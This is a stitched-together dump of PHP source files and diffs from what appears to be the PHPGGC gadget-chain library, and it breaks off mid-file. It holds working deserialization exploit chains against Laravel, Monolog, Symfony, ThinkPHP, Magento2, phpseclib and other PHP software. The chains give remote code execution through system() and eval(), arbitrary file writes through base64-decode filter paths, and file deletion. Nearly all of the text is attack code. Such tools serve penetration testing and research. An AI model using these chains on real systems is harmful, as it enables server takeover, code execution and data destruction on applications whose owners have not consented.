24 $parameters = parent::process_parameters($parameters);
25 $infos = pathinfo($parameters['remote_path']);
26 $parameters['extension'] = isset($infos['extension']) ? $infos['extension'] : '';
27 $parameters['filename'] = isset($infos['filename']) ? $infos['filename'] : '';
28 $parameters['dirname'] = dirname($parameters['remote_path']);
29
30 return $parameters;
31 }
32
33 public function generate(array $parameters)
34 {
35 return new CacheItemPoolDecorator(
36 new Filesystem(
37 new FilesystemOptions($parameters['dirname'], $parameters['extension'])
38 ),
39 [new CacheItem($parameters['filename'], $parameters['data'])]
40 );
41 }
42 }
0 <?php
1
2 namespace Laminas\Cache\Storage\Adapter
3 {
4 class AdapterOptions
5 {
6 protected $namespace;
7 protected $keyPattern;
8
9 function __construct()
10 {
11 $this->namespace = '';
12 $this->keyPattern = '/.*/';
13 }
14 }
15
16 class FilesystemOptions extends AdapterOptions
17 {
18 protected $cacheDir;
19 protected $dirLevel;
20 protected $suffix;
21
22 function __construct($cacheDir, $extension)
23 {
24 parent::__construct();
25 $this->cacheDir = $cacheDir;
26 $this->suffix = $extension;
27 $this->dirLevel = 0;
28 }
29 }
30
31 class Filesystem
32 {
33 protected $options;
34
35 function __construct($options)
36 {
37
38 $this->options = $options;
39 }
40 }
41 }
42
43 namespace Laminas\Cache\Psr\CacheItemPool
44 {
45 class CacheItemPoolDecorator
46 {
47 protected $storage;
48 protected $deferred;
49
50 function __construct($storage, $deferred)
51 {
52 $this->storage = $storage;
53 $this->deferred = $deferred;
54 }
55 }
56
57 class CacheItem
58 {
59 protected $key;
60 protected $value;
61
62 function __construct($key, $value)
63 {
64 $this->key = $key;
65 $this->value = $value;
66 }
67 }
68 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE10 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.6.0 <= 9.1.8+';
7 public static $vector = '__toString';
8 public static $author = 'Arjun Shibu (twitter.com/0xsegf), 0xcrypto';
9
10 public function generate(array $parameters)
11 {
12 $func = $parameters['function'];
13 $arg = $parameters['parameter'];
14
15 $guard = new \Illuminate\Auth\RequestGuard("call_user_func", $func, $arg);
16 $userfn = [$guard, 'user'];
17 $requiredif = new \Illuminate\Validation\Rules\RequiredIf($userfn);
18
19 return $requiredif;
20 }
21 }
0 <?php
1
2 namespace Illuminate\Validation\Rules
3 {
4 class RequiredIf
5 {
6 public function __construct($condition)
7 {
8 $this->condition = $condition;
9 }
10 }
11 }
12
13 namespace Illuminate\Auth
14 {
15 class RequestGuard
16 {
17 public function __construct($callback, $request, $provider)
18 {
19 $this->callback = $callback;
20 $this->request = $request;
21 $this->provider = $provider;
22 }
23 }
24 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE11 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.4.0 <= 9.1.8+';
7 public static $vector = '__destruct';
8 public static $author = '1nhann';
9
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $param = $parameters['parameter'];
15
16 $a = new \Symfony\Component\Mime\Part\SMimePart($function, $param);
17
18 return $a;
19 }
20 }
0 <?php
1
2 namespace Faker
3 {
4 class Generator
5 {
6 protected $formatters = [];
7
8 function __construct(&$formatters)
9 {
10 $this->formatters = &$formatters;
11 }
12 }
13 }
14
15 namespace Illuminate\Broadcasting
16 {
17 class PendingBroadcast
18 {
19 public function __construct(&$formatters, $parameter)
20 {
21 $this->event = $parameter;
22 $this->events = new \Faker\Generator($formatters);
23 }
24 }
25 }
26
27 namespace Symfony\Component\Mime\Part
28 {
29 class AbstractPart
30 {
31 private $headers = null;
32
33 public function __construct($parameter)
34 {
35 return new \Illuminate\Broadcasting\PendingBroadcast($this->headers, $parameter);
36 }
37 }
38
39 class SMimePart extends AbstractPart
40 {
41 protected $_headers;
42 public $inhann;
43
44 function __construct($function, $parameter)
45 {
46 $this->_headers = ["dispatch" => $function];
47 $this->inhann = parent::__construct($parameter);
48 }
49 }
50 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.4.0 <= 8.6.9+';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99
33
44 class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.5.0 <= 5.8.35';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99 public static $information = 'This chain triggers an ErrorException after code execution.';
33
44 class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '5.5.39';
6 public static $version = '5.4.0 <= 8.6.9+';
77 public static $vector = '__destruct';
88 public static $author = 'BlackFan';
99
33
44 class RCE6 extends \PHPGGC\GadgetChain\RCE\PHPCode
55 {
6 public static $version = '5.5.*';
6 public static $version = '5.5.* <= 5.8.35';
77 public static $vector = '__destruct';
88 public static $author = 'Phith0n & holyvier';
99 public static $information = '
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '7.0.0 <= 8.6.9+';
7 public static $vector = '__destruct';
8 public static $author = 'abdilahrf & cr1f';
9 public static $information = 'Executes through eval()';
10
11
12 public function generate(array $parameters)
13 {
14 return new \GuzzleHttp\Cookie\FileCookieJar(
15 new \Illuminate\Validation\Rules\RequiredIf(
16 new \PhpOption\LazyOption($parameters['function'], [$parameters['parameter']])
17 )
18 );
19 }
20 }
0 <?php
1
2 namespace GuzzleHttp\Cookie
3 {
4 class FileCookieJar
5 {
6 private $filename;
7
8 public function __construct($r)
9 {
10 $this->filename = $r;
11 }
12 }
13 }
14
15 namespace Illuminate\Validation\Rules
16 {
17 class RequiredIf
18 {
19 public function __construct($p)
20 {
21 $this->condition = [$p, 'get'];
22 }
23 }
24 }
25
26 namespace PhpOption
27 {
28 final class LazyOption
29 {
30 private $callback;
31 private $arguments;
32
33 function __construct($callback, $arguments)
34 {
35 $this->callback = $callback;
36 $this->arguments = $arguments;
37 }
38 }
39 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE9 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.4.0 <= 9.1.8+';
7 public static $vector = '__destruct';
8 public static $author = '1nhann';
9
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $param = $parameters['parameter'];
15
16 $dispatcher = new \Illuminate\Bus\Dispatcher($function);
17 $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$param);
18 return $pendingBroadcast;
19 }
20 }
0 <?php
1 namespace Illuminate\Contracts\Queue
2 {
3 interface ShouldQueue
4 {
5 }
6 }
7
8 namespace Illuminate\Bus
9 {
10 class Dispatcher
11 {
12 protected $container;
13 protected $pipeline;
14 protected $pipes = [];
15 protected $handlers = [];
16 protected $queueResolver;
17 function __construct($function)
18 {
19 $this->queueResolver = $function;
20
21 }
22 }
23 }
24
25 namespace Illuminate\Broadcasting
26 {
27 use Illuminate\Contracts\Queue\ShouldQueue;
28
29 class BroadcastEvent implements ShouldQueue
30 {
31 function __construct()
32 {
33
34 }
35 }
36
37 class PendingBroadcast
38 {
39 protected $events;
40 protected $event;
41
42 function __construct($dispatcher,$param)
43 {
44 $this->event = new BroadcastEvent();
45 $this->event->connection = $param;
46 $this->events = $dispatcher;
47 }
48 }
49 }
50
0 <?php
1
2 namespace GadgetChain\Magento2;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '*';
7 public static $vector = '__destruct';
8 public static $author = 'Arjun Shibu (twitter.com/0xsegf)';
9 public static $information = 'Deletes a given file/directory in the installation dir';
10
11 public function generate(array $parameters)
12 {
13 $file = $parameters['remote_path'];
14
15 return new \Magento\RemoteStorage\Plugin\Image($file);
16 }
17 }
0 <?php
1
2 namespace Magento\Framework\Filesystem\Driver {
3 class File {}
4 }
5
6 namespace Magento\Framework\Filesystem\Directory {
7 class Write {
8 public function __construct() {
9 $this->driver = new \Magento\Framework\Filesystem\Driver\File();
10 }
11 }
12 }
13
14 namespace Magento\RemoteStorage\Plugin {
15 class Image {
16 public function __construct($file) {
17 $this->tmpDirectoryWrite = new \Magento\Framework\Filesystem\Directory\Write();
18 $this->tmpFiles = [$file];
19 }
20 }
21 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '3.0.0 <= 3.1.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein (Mirhossein Rahmani)';
9 public static $information = 'Please use this GC only for educational purposes or legal pentest, Thank you!';
10
11 public function generate(array $parameters)
12 {
13 $path = $parameters['remote_path'];
14 $data = $parameters['data'];
15
16 $data = preg_replace('/[\r\n]/', ' ', $data); // Replaces "\r\n" with a space
17
18 return new \Monolog\Handler\GroupHandler($data, $path);
19 }
20 }
0 <?php
1
2 namespace Monolog
3 {
4 enum Level: int
5 {
6 case Debug = 100;
7 }
8
9 class LogRecord
10 {
11 public Level $level = \Monolog\Level::Debug;
12 public string $message;
13 public \DateTimeImmutable $datetime;
14
15 function __construct($data)
16 {
17 $this->message = $data;
18 $this->datetime = new \DateTimeImmutable;
19 }
20 }
21 }
22
23 namespace Monolog\Handler
24 {
25 class DeduplicationHandler
26 {
27 protected string $deduplicationStore;
28 protected int $bufferSize = 1;
29 protected array $buffer;
30 protected \Monolog\Level $deduplicationLevel = \Monolog\Level::Debug;
31
32 public function __construct($data, $path)
33 {
34 $this->buffer = [new \Monolog\LogRecord($data)];
35 $this->deduplicationStore = $path;
36 }
37 }
38
39 class GroupHandler
40 {
41 protected array $handlers;
42
43 public function __construct($data, $path)
44 {
45 $this->handlers = [new \Monolog\Handler\DeduplicationHandler($data, $path)];
46 }
47 }
48 }
33
44 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.18 <= 2.1.1+';
6 public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2727 {
2828 $this->processors = $methods;
2929 $this->buffer = [$command];
30 $this->handler = clone $this;
30 $this->handler = $this;
3131 }
3232 }
33 }
33 }
33
44 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
55 {
6 public static $version = '1.5 <= 2.1.1+';
6 public static $version = '1.4.1 <= 2.7.0+';
77 public static $vector = '__destruct';
88 public static $author = 'cf';
99
2828 {
2929 $this->processors = $methods;
3030 $this->buffer = [$command];
31 $this->handler = clone $this;
31 $this->handler = $this;
3232 }
3333 }
34 }
34 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.25 <= 2.7.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\GroupHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class GroupHandler {
22 protected $processors = array();
23 public function __construct($function)
24 {
25 $this->processors = ['current', $function];
26 }
27
28 }
29 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.7.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mayfly';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14 return new \Monolog\Handler\FingersCrossedHandler($parameter,
15 new \Monolog\Handler\BufferHandler($function)
16 );
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 // killchain :
5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class BufferHandler
22 {
23 protected $handler;
24 protected $bufferSize = -1;
25 protected $buffer;
26 # ($record['level'] < $this->level) == false
27 protected $level = null;
28 protected $initialized = true;
29 # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
30 protected $bufferLimit = -1;
31 protected $processors;
32
33 function __construct($function)
34 {
35 $this->processors = ['current', $function];
36 }
37 }
38
39 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.7.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\FingersCrossedHandler(
17 ['pos', $function], // pos() is an alias of current() function, but it's shorter :-)
18 [$parameter, 'level' => 0]
19 );
20 }
21 }
0 <?php
1 namespace Monolog\Handler
2 {
3 class FingersCrossedHandler
4 {
5 protected $passthruLevel = 0;
6 protected $handler;
7 protected $buffer;
8 protected $processors;
9
10 function __construct($methods,$command)
11 {
12 $this->processors = $methods;
13 $this->buffer = [$command];
14 $this->handler = $this;
15 }
16 }
17 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '3.0.0 <= 3.1.0+';
7 public static $vector = '__destruct';
8 public static $author = 'cf (Charles Fol), mir-hossein (Mirhossein Rahmani)';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, Thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\GroupHandler($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Monolog
3 {
4 enum Level: int
5 {
6 case Debug = 100;
7 }
8
9 class LogRecord
10 {
11 public Level $level;
12 public mixed $formatted;
13
14 function __construct($parameter)
15 {
16 $this->level = \Monolog\Level::Debug;
17 $this->mixed = $parameter;
18 }
19 }
20 }
21
22 namespace Monolog\Handler
23 {
24 class GroupHandler
25 {
26 protected array $handlers;
27
28 public function __construct($function, $parameter)
29 {
30 $this->handlers = [new \Monolog\Handler\BufferHandler($function, $parameter)];
31 }
32 }
33
34 class BufferHandler
35 {
36 protected $handler;
37 protected int $bufferSize = 1;
38 protected int $bufferLimit = 0;
39 protected array $buffer;
40 protected bool $initialized = true;
41 protected array $processors;
42
43 public function __construct($function, $parameter)
44 {
45 $this->handler = $this;
46 $this->buffer = [new \Monolog\LogRecord($parameter)];
47 $this->processors = ['get_object_vars', 'end', $function];
48 }
49 }
50 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE9 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '3.0.0 <= 3.1.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein (Mirhossein Rahmani)';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, Thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\FingersCrossedHandler($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 class FingersCrossedHandler
5 {
6 protected $passthruLevel = \Monolog\Level::Debug;
7 protected $handler;
8 protected $buffer;
9 protected $processors;
10
11 function __construct($function, $parameter)
12 {
13 $this->processors = ['get_object_vars', 'end', $function];
14 $this->buffer = [new \Monolog\LogRecord($parameter)];
15 $this->handler = $this;
16 }
17 }
18 }
19
20 namespace Monolog
21 {
22 enum Level: int
23 {
24 case Debug = 100;
25 }
26
27 class LogRecord
28 {
29 public Level $level = \Monolog\Level::Debug;
30 public mixed $formatted;
31
32 function __construct($parameter)
33 {
34 $this->mixed = $parameter;
35 }
36 }
37 }
88
99 public function generate(array $parameters)
1010 {
11 $remote_file = $parameters["remote_file"];
11 $remote_path = $parameters["remote_path"];
1212
13 return new \PhpCsFixer\FileRemoval($remote_file);
13 return new \PhpCsFixer\FileRemoval($remote_path);
1414 }
1515 }
1616
55 class FileRemoval
66 {
77
8 function __construct($remote_file)
8 function __construct($remote_path)
99 {
10 $this->files = [$remote_file => $remote_file];
10 $this->files = [$remote_path => $remote_path];
1111
1212 }
1313
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_file);
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_path);
1515 }
1616 }
44 class ProcessLinter
55 {
66
7 function __construct($remote_file)
7 function __construct($remote_path)
88 {
9 $this->temporaryFile = $remote_file;
9 $this->temporaryFile = $remote_path;
1010 $this->fileRemoval = new \PhpCsFixer\FileRemoval();
1111
1212 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\PHPSecLib;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
5 {
6 public static $version = '2.0.0 <= 2.0.34';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Generates warnings and notices.';
10
11 public function generate(array $parameters)
12 {
13 $code = $parameters['code'];
14
15 return [
16 new \phpseclib\Net\SSH1(
17 new \phpseclib\Crypt\AES(
18 new \phpseclib\Crypt\TripleDES($code)
19 )
20 )
21 ];
22 }
23 }
0 <?php
1
2 namespace phpseclib\Net
3 {
4 class SSH1
5 {
6 var $bitmap = 1;
7 var $crypto;
8 public function __construct($a)
9 {
10 $this->crypto = $a;
11 }
12 }
13 }
14
15 namespace phpseclib\Crypt
16 {
17 class Base
18 {
19 var $block_size;
20 var $inline_crypt;
21 var $use_inline_crypt = 1;
22 var $changed = 0;
23 var $engine = 1;
24 var $mode = 1;
25
26 public function __construct($t)
27 {
28 if (strpos(get_class($this), 'AES'))
29 $this->inline_crypt = [$t, '_createInlineCryptFunction'];
30 else
31 $this->block_size = '1){}}}; ob_clean();' . $t . 'die(); ?>';
32 }
33 }
34
35 class AES extends Base
36 {
37 var $bitmap = 1;
38 var $crypto = 1;
39 }
40
41 class TripleDES extends Base
42 {
43 }
44 }
1818 {
1919 return new \Phalcon\Logger\Adapter\File();
2020 }
21
22 public function test_setup()
23 {
24 throw new \PHPGGC\Exception("This GC cannot be tested.");
25 }
2126 }
77 public static $vector = '__destruct';
88 public static $author = 'd3adc0de';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Smarty_Internal_Template($parameters['remote_file']);
15 return new \Smarty_Internal_Template($parameters['remote_path']);
1616 }
1717 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']);
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.2.*';
7 public static $vector = '__destruct';
8 public static $author = 'byc_404';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15
16 return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Symfony\Component\Cache\Adapter
3 {
4 class ProxyAdapter
5 {
6 private $createCacheItem;
7 private $namespace;
8 private $pool;
9
10 public function __construct($createCacheItem, $pool)
11 {
12 $this->createCacheItem = $createCacheItem;
13 $this->pool = $pool;
14 $this->namespace = '';
15 }
16 }
17
18
19 class NullAdapter
20 {
21 private $createCacheItem;
22
23 public function __construct($createCacheItem)
24 {
25 $this->createCacheItem = $createCacheItem;
26 }
27 }
28 }
29
30 namespace Symfony\Component\Console\Helper
31 {
32 class Dumper
33 {
34 private $handler;
35
36 public function __construct($handler)
37 {
38 $this->handler = $handler;
39 }
40 }
41 }
42
43
44 namespace Symfony\Component\Cache\Traits
45 {
46 class RedisProxy
47 {
48 private $redis;
49 private $initializer;
50
51 public function __construct($initializer, $redis)
52 {
53 $this->initializer = $initializer;
54 $this->redis = $redis;
55 }
56 }
57 }
58
59 namespace Symfony\Component\Form
60 {
61
62 class FormErrorIterator
63 {
64 public $form;
65 private $errors;
66
67 function __construct($errors, $form)
68 {
69 $this->errors = $errors;
70 $this->form = $form;
71 }
72 }
73 }
74
75
76 namespace Symfony\Component\HttpKernel\DataCollector
77 {
78 class DumpDataCollector
79 {
80 protected $data;
81 private $stopwatch;
82 private $fileLinkFormat;
83 private $dataCount = 0;
84 private $isCollected = false;
85 private $clonesCount = 0;
86 private $clonesIndex = 0;
87
88 public function __construct($function, $command)
89 {
90 $this->data = [
91 [
92 "data" => "1",
93 "name" => new \Symfony\Component\Form\FormErrorIterator([
94 new \Symfony\Component\Form\FormErrorIterator(
95 [],
96 new \Symfony\Component\Cache\Traits\RedisProxy(
97 new \Symfony\Component\Console\Helper\Dumper([
98 new \Symfony\Component\Cache\Adapter\ProxyAdapter(
99 'dd', // exit function
100 new \Symfony\Component\Cache\Adapter\NullAdapter($function)
101 ),
102 "getItem"
103 ]),
104 $command
105 )
106 )],
107 null
108 ),
109 "file" => "3",
110 "line" => "4"
111 ],
112 null,
113 null
114 ];
115 }
116 }
117 }
1313
1414 public function generate(array $parameters)
1515 {
16 $file = $parameters['remote_file'];
16 $file = $parameters['remote_path'];
1717
1818 return new \TCPDF(
1919 $file
22 class TCPDF {
33 protected $imagekeys;
44
5 function __construct($remote_file) {
5 function __construct($remote_path) {
66 $this->imagekeys = [
7 $remote_file
7 $remote_path
88 ];
99 }
1010 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.4-5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 use think\model\relation\HasMany;
5
6 class Process
7 {
8 private $processPipes;
9 private $status = 3;
10 private $processInformation = ['running' => true];
11
12 public function __construct($path, $data)
13 {
14 $this->processPipes = new HasMany($path, $data);
15 }
16 }
17
18 class Model
19 {
20 }
21 }
22
23
24 namespace think\model
25 {
26 use think\Model;
27
28 class Merge extends Model
29 {
30 public $a = '1';
31
32 public function __construct()
33 {
34 }
35 }
36
37 class Relation
38 {
39 protected $query;
40 }
41 }
42
43
44 namespace think\model\relation
45 {
46 use think\console\Output;
47 use think\model\Merge;
48 use think\model\Relation;
49
50 class HasMany extends Relation
51 {
52 protected $parent;
53 protected $localKey = 'a';
54 protected $pivot;
55 protected $foreignKey;
56
57 public function __construct($path, $data)
58 {
59 $this->foreignKey = $data;
60 $this->query = new Output($path, $data);
61 $this->parent = new Merge();
62 }
63 }
64 }
65
66
67 namespace think\db
68 {
69 class Query
70 {
71 }
72 }
73
74
75 namespace think\console
76 {
77 class Output
78 {
79 protected $styles = [
80 'where'
81 ];
82 private $handle;
83
84 public function __construct($path, $data)
85 {
86 $this->handle = new \think\session\driver\Memcache($path, $data);
87 }
88 }
89 }
90
91
92 namespace think\session\driver
93 {
94 class Memcache
95 {
96 protected $handler;
97
98 public function __construct($path, $data)
99 {
100 $this->handler = new \think\cache\driver\Memcached($path, $data);
101 }
102 }
103 }
104
105
106 namespace think\cache\driver
107 {
108 class Memcached
109 {
110 protected $tag;
111 protected $options;
112 protected $handler;
113
114 public function __construct($path)
115 {
116 $this->tag = true;
117 $this->options = [
118 'expire' => 0,
119 'prefix' => '',
120 ];
121 $this->handler = new File($path);
122 }
123 }
124
125 class File
126 {
127 protected $tag;
128 protected $options;
129
130 public function __construct($path)
131 {
132 $this->tag = false;
133 $this->options = [
134 'expire' => 3600,
135 'cache_subdir' => false,
136 'prefix' => '',
137 'data_compress' => false,
138 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
139 ];
140 }
141 }
142 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.0-5.0.03';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 class Process
5 {
6 private $processPipes;
7 private $status = 3;
8 private $processInformation = ['running' => true];
9
10 public function __construct($path,$data)
11 {
12 $this->processPipes = new \think\model\Relation($path, $data);
13 }
14 }
15 }
16
17
18 namespace think\model
19 {
20 use think\console\Output;
21
22 class Relation
23 {
24 protected $query;
25 protected $type = 2; // HAS_MANY
26 protected $where;
27
28 public function __construct($path,$data)
29 {
30 $this->where = $data;
31 $this->query = new Output($path);
32 }
33 }
34 }
35
36
37 namespace think\console
38 {
39 class Output
40 {
41 protected $styles = [
42 'where'
43 ];
44 private $handle;
45
46 public function __construct($path)
47 {
48 $this->handle = new \think\session\driver\Memcache($path);
49 }
50 }
51 }
52
53
54 namespace think\session\driver
55 {
56 class Memcache
57 {
58 protected $handler;
59
60 public function __construct($path)
61 {
62 $this->handler = new \think\cache\driver\Memcached($path);
63 }
64 }
65 }
66
67
68 namespace think\cache\driver
69 {
70 class Memcached
71 {
72 protected $tag;
73 protected $options;
74 protected $handler;
75
76 public function __construct($path)
77 {
78 $this->tag = true;
79 $this->options = [
80 'expire' => 0,
81 'prefix' => '',
82 ];
83 $this->handler = new File($path);
84 }
85 }
86
87 class File
88 {
89 protected $tag;
90 protected $options;
91
92 public function __construct($path)
93 {
94 $this->tag = false;
95 $this->options = [
96 'expire' => 3600,
97 'cache_subdir' => false,
98 'prefix' => '',
99 'data_compress' => false,
100 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
101 ];
102 }
103 }
104 }
1212 namespace think\model\concern {
1313 trait Conversion
1414 {
15 protected $append = array("Smi1e" => "1");
15 protected $append = array("smi1e" => "1");
1616 }
1717
1818 trait Attribute
1919 {
2020 private $data;
21 private $withAttr = array("Smi1e" => "system");
21 private $withAttr = array("smi1e" => "system");
2222
2323 public function get($system)
2424 {
25 $this->data = array("Smi1e" => "$system");
25 $this->data = array("smi1e" => "$system");
2626 }
2727 }
2828 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'kemmio';
9 public static $information = '
10 This chain can only execute any function including system().
11 Shoutout to c014 the 0ctf 2021 challenge creator!
